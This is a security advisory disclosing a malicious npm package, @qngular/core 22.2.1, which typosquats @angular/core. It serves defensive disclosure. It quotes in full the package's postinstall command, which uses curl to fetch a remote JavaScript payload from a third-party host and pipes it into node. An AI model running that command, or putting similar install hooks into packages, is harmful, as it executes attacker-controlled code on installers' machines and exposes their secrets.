@qngular/core

GHSA-rwv8-8xgx-7c3r

Malicious code in @qngular/core (npm)

Details

**Severity:** Critical

**Affected versions:** `= 22.2.1`

## Source: amazon-inspector (e83437986b94381cddff72267bc53907d980e1b14dbfef9123aa47f5ed664664)
Package `@qngular/core` is a one-character typosquat of `@angular/core` and copies the real package's description, author, and repository metadata. The `postinstall` lifecycle script in package.json runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an opaque, non-publisher-controlled JavaScript payload from a third-party host (gitflic.ru via a web.archive.org proxy) and piping it unverified into `node`. This executes attacker-controlled code on the installer's machine during `npm install`.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@qngular/core/MAL-2026-17544.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@qngular/core/MAL-2026-17544.json
- https://www.npmjs.com/package/@qngular/core/v/22.2.1
- https://github.com/advisories/GHSA-rwv8-8xgx-7c3r

Compromised versions (1)

= 22.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.